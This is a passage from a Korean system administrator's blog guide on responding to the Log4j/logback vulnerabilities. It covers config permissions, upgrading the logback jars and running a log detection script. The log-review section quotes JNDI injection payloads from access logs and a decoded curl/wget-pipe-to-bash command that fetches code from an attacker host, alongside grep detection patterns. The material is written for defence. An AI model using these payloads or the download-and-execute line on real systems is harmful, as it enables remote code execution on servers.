      - 1.2.9 이전 버전 사용

    ◇ 참고로(logback.xml)이라는 파일이 있는 게 아니라 로깅 설정을 한 파일, 변조한 설정 파일을 말합니다. 즉 개발자나 사용자별로 이름은 다르게 저장할 수 있습니다. 예를 들어 저희는 애플리케이션별로 로그를 저장하기 때문에(~log.xml) 파일이 여러 개가 있으며 이름별로 관리를 합니다.

    [root@localhost ~]# ls -al  |grep (~log.xml)  [예시]

    -rw-r--r--  1 root root   290339  9월 27  2019 weblog.xml
    -rw-r--r--  1 root root   471901  9월 27  2019 javalog.xml

    ◇ 다음과 같이 권한이 644로 사용자만 R(읽기) W(쓰기) 권한만 있고 나머지 그룹(group)이나 기타(other)는 최소 R(읽기) 권한만 있으면 안전하지 않을까 합니다. 물론 가능하다면 사용자만 600(rw-------)이 제일 좋습니다.

     

    ◇ Scan="true"로 설정이 되어 있는지 확인

    [root@localhost ~]# vi logback.xml  [예시]

    <configuration scan="true" scanPeriod="30 seconds">  [취약]

    [참고]

    scan="true" 이 내용을 찾아보니 logback-classic 모듈은 주기적으로 configuration 파일을 읽어 Logback의 설정을 자동으로 재구성을 해주는 역할을 한다고 합니다. 즉 해당 XML 파일을 수정하고 애플리케이션(Application)을 일일이 재시작할 필요가 없다는 뜻입니다. 뒤에 Period 재구성 간격 시간으로 현재 설정으로는 30초마다 자동으로 갱신을 해준다고 생각하면 됩니다. 그래서 true를 쓰지 말라는 이유가 해커가 변조된 파일은 업로드를 하였으나 실행 권한이 없었으면 넘어갔을 부분을 자동 갱신으로 인해 적용이 될 수 있는 부분을 취약하다고 말하는 부분으로 보입니다.

     

    ③ 해결 방안

    ◇ 취약점 및 조건부에 해당되지 않으면 되긴 하지만 임시조치에 대한 내용은 없기 때문에 안정화 버전으로 업데이트가 필요할 경우는 아래와 같이 업데이트 진행

     

    공식 다운로드 사이트(저장소) : https://repo1.maven.org/maven2/ch/qos/logback/

    대부분 logback-classic과 logback-core를 같이 사용하므로 각각 선택하여 안정화 버전인 1.2.10(2021-12-23 업데이트)을 다운로드합니다. 압축되어 있는 게 아니라. jar파일 있는 그대로 받습니다. 외부 네트워크가 제한된 업체라면 다운로드 후 서버에 직접 업로드할 것 [상위 버전이 나오면 마이너 숫자만 1.2.11 형태로 변경하면 됩니다.]

    [root@localhost ~]# mkdir logback-scr  [폴더 생성]

    [root@localhost ~]# cd logback-scr  [경로 이동]

    [2개의 .jar 파일 다운로드]

    [root@localhost ~]# wget https://repo1.maven.org/maven2/ch/qos/logback/logback-core/1.2.10/logback-core-1.2.10.jar

    [root@localhost ~]# wget https://repo1.maven.org/maven2/ch/qos/logback/logback-classic/1.2.10/logback-classic-1.2.10.jar

     

    [root@demo logback-scr]# ls -al |grep logback  [다운로드 파일 확인]
    -rw-r--r--  1 root root 233809 12월 23 19:10 logback-classic-1.2.10.jar
    -rw-r--r--  1 root root 454203 12월 23 19:09 logback-core-1.2.10.jar

     

    [root@localhost ~]# cd  /source/~/lib/  [logback 사용 경로 이동]

    [root@localhost ~]# mv logback-classic-1.2.3.jar logback-classic-1.2.3.jar_bak  [기존 파일 백업]

    [root@localhost ~]# mv logback-core-1.2.3.jar logback-core-1.2.3.jar_bak  [기존 파일 백업]

    최종적으로 다운로드한 logback-classic, logback-core 파일로 교체

    [root@localhost ~]# cp /root/logback-scr/logback-classic-1.2.10.jar /source/~/lib/

    [root@localhost ~]# cp /root/logback-scr/logback-core-1.2.10.jar /source/~/lib/

     

    나머지는 서버 환경 구성에 맞게 권한 부여[chmod / chown]

    되도록 어플레이케션이나 JAVA구동에 문제가 없을만한 최소 권한만 주는 게 좋습니다.

    [root@localhost ~]# chmod 644 logback-classic-1.2.10.jar

    [root@localhost ~]# chmod 644 logback-core-1.2.10.jar

    -rw-r--r--(644)  1 root    root      233809 12월 29 10:28 logback-classic-1.2.10.jar

    -rw-r--r--(644)  1 root    root      454203 12월 29 10:29 logback-core-1.2.10.jar


    추가내용[2021-12-28]

    스크립트 통한 해킹 흔적 점검 방법 : SK쉴더스 업체 보안 공고 내용중

     

    ◇ 자세한 내용은 본문 내용에 포함된 스크립트 및 매뉴얼을 참고하여 주시기 바랍니다. 아래는 제가 직접 해당 방법으로 테스트를 해본 내용입니다. 다운로드한 파일을 압축해제하면 스크립트 파일을 확인할 수 있습니다.

    [root@localhost ~]# log4j_Detection_Script_v1.1.sh  [스크립트 파일]

    egrep -I -i -r '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+'  [검사 내용중]

    ◇ 로그 경로에서 직접 찾을 경우는 아래와 같이 [Grep] 명령어를 이용해도 될 것 같습니다.

    [root@localhost ~]# grep -i "jndi:" 로그파일 | egrep -i "ldap|ldaps|rmi|dns|nis|iiop|corba|nds|http"

    ◇ 이 파일을 열어보니 검사방식은 아파치(Apache) 또는 톰캣(Tomcat) 어플리케이션 로그 경로를 확인하여 $(jndi:ldap) 공격이 들어왔는지 확인하는 방법입니다. 말 그대로 해킹 흔적이 있었는지에 대한 점검일뿐이며, 공격이 들어왔다고 해서 해킹을 당했는지는 알 수 없습니다.

    [root@localhost ~]# chmod 700 log4j_Detection_Script_v1.1.sh  [관리자 실행할 수 있도록 700 권한 부여]

    [root@localhost ~]# sh log4j_Detection_Script_v1.1.sh
    [Please enter the Log folder path] : [로그 경로 입력, 아래는 예시]

    /아파치 로그경로/~/apache/logs/

    /톰캣 로그 경로/~/tomcat/logs/

    입력시 엔터,

    [+][log4j search...]  검사중...

    [+][log4j search result] :  검사 결과 출력
    [+] 61 Detection (Result Save Path : /root/Result/Result.txt)

     

    [root@localhost ~]# ls -al /root/Result  [결과 파일 확인]

    -rw-r--r--  1 root root 7675 12월 28 10:56 Result.txt

    [탐지] : -rw-r--r--  1 root root 7675 (용량이 표시가 되었다면 탐지 로그 삽입) 12월 28 10:56 Result.txt

    ▶ 공격자의 접근이 있었음, 서버 점검 필요

    [미탐지] : -rw-r--r--  1 root root 0 (용량이 없다면 탐지 로그 없음) 12월 28 10:58 Result.txt

    ▷ 공격자의 접근이 없음

    ◇ 서버가 Apache Tomcat 연동하여 사용 중이면 아파치(Apache), access_log 로그를 확인하면 됩니다.

    [root@localhost ~]# cat /root/Result/Result.txt

    공격자의 접근이 있었을 경우 나오는 내용 중  [예시, 아래는 임의 값임]

    access_log.20211213:xxx.xxx.xxx.xxx(공격자 IP) - - [13/Dec/2021:13:55:59 +0900]

    GET /?x=${jndi:ldap://공격자IP/Basic/Command/Base64/Wgfvgdaafg2Lg3uiMf16fffsaS9==} HTTP/1.1" 200 288

     

    [2021-12-12 11:11:11] DEBUG [http-bio-8080-exec-56951] - httpServletRequest.getRequestURI() / /$%7Bjndi:ldap://공격자IP/TomcatBypass/TomcatEcho%7D

    ◇ Base64 뒤에 있는 부분을 디코딩(DECODE) 사이트에서 변환해보면 다음과 같이 서버에 Log4j취약점을 이용하여 bash 커맨드를 이용해 서버에 악성파일을 다운로드 시도하려는 것을 알 수 있습니다.

    [디코딩 예시]

    (curl -s 192.168.x.x:1111(공격자)/192.168.x.x:80(사용자 PC/서버)||wget -q -O- 192.168.x.x:1111(공격자)/192.168.x.x:80(사용자 PC/서버)|bash

     

    ◇ 시도가 들어오더라도 권한이 없거나, JMSAppender, JndiLookup 클래스를 이용한 Lookup을 처리하지 못하는 환경이라면 시도 에러만 발생하고 끝나겠지만, 디코딩 뒷부분의 bash 명령어가 실행되어 실제 서버에 그대로 실행 처리가 되었다면(특정 파일이 수정, 없던 파일이 생김 등), 무조건 패치를 진행해야 합니다.


    마치며

    이렇게 해서 log4j 및 logback에 대한 대응 가이드 설명이 완료되었습니다. 물론 좀 더 자세히 알려드리기 위해 자료를 모으고 설명하기까지 약 일주일이 소모되었네요. 이미 대부분의 업체가 권고 공지를 받고 조치 진행을 하여 어느 정도 소강상태가 되었지만, 좀 더 자세히 알려드리고자 늦게 포스팅하게 되었습니다. 이번에 하면서 느낀 점이 이 취약점 패턴이 단순하지만 공격자가 이용하기에는 조건이 까다롭다고 생각합니다. 또한 conf설정과 java 개발된 소스가 동시에 취약점이 맞아야 악용될 수 있기 때문에 세계에서 이렇게 까지 뉴스로 공지할 만큼 떠들만한 일인지는 의심스럽습니다. 오히려 뉴스로 인해 알지 못했던 어설픈 해커들이나 사용자들이 호기심에 악용할 소지가 더 많아지는 바람에 이사태가 발생한 게 아닌가도 합니다. 물론 취약점 버전에 포함되어 업데이트를 하는 게 가장 올바른 방법이지만, 한번 개발이 된 솔루션이나 유지만의 목적으로 사용하는 오래된 서버 관리 업체들은 업데이트 시 무슨 문제가 발생할 수 알 수 없기 때문에 쉽사리 진행하지 못합니다. 이런 점을 생각해서 조용히 IT기업들에게 권고 지침을 내리는 게 좋지 않았을까 하는 아쉬움이 있습니다.

     

    ※ 이 내용은 보안 사이트에서 권고사항이 추가될 때마다 지속적으로 업데이트합니다. [해당 문제는 장기화 될 전망임]

    ※ 운영 입장에서 작성을 하였으므로 개발자분께서 알고 있는 부분이랑 다를 수 있으며, 내용이 긴 만큼 오타나 잘못된 정보가 포함되어 있다면 지적 및 정보 공유 감사합니다.

    Designed by JB FACTORY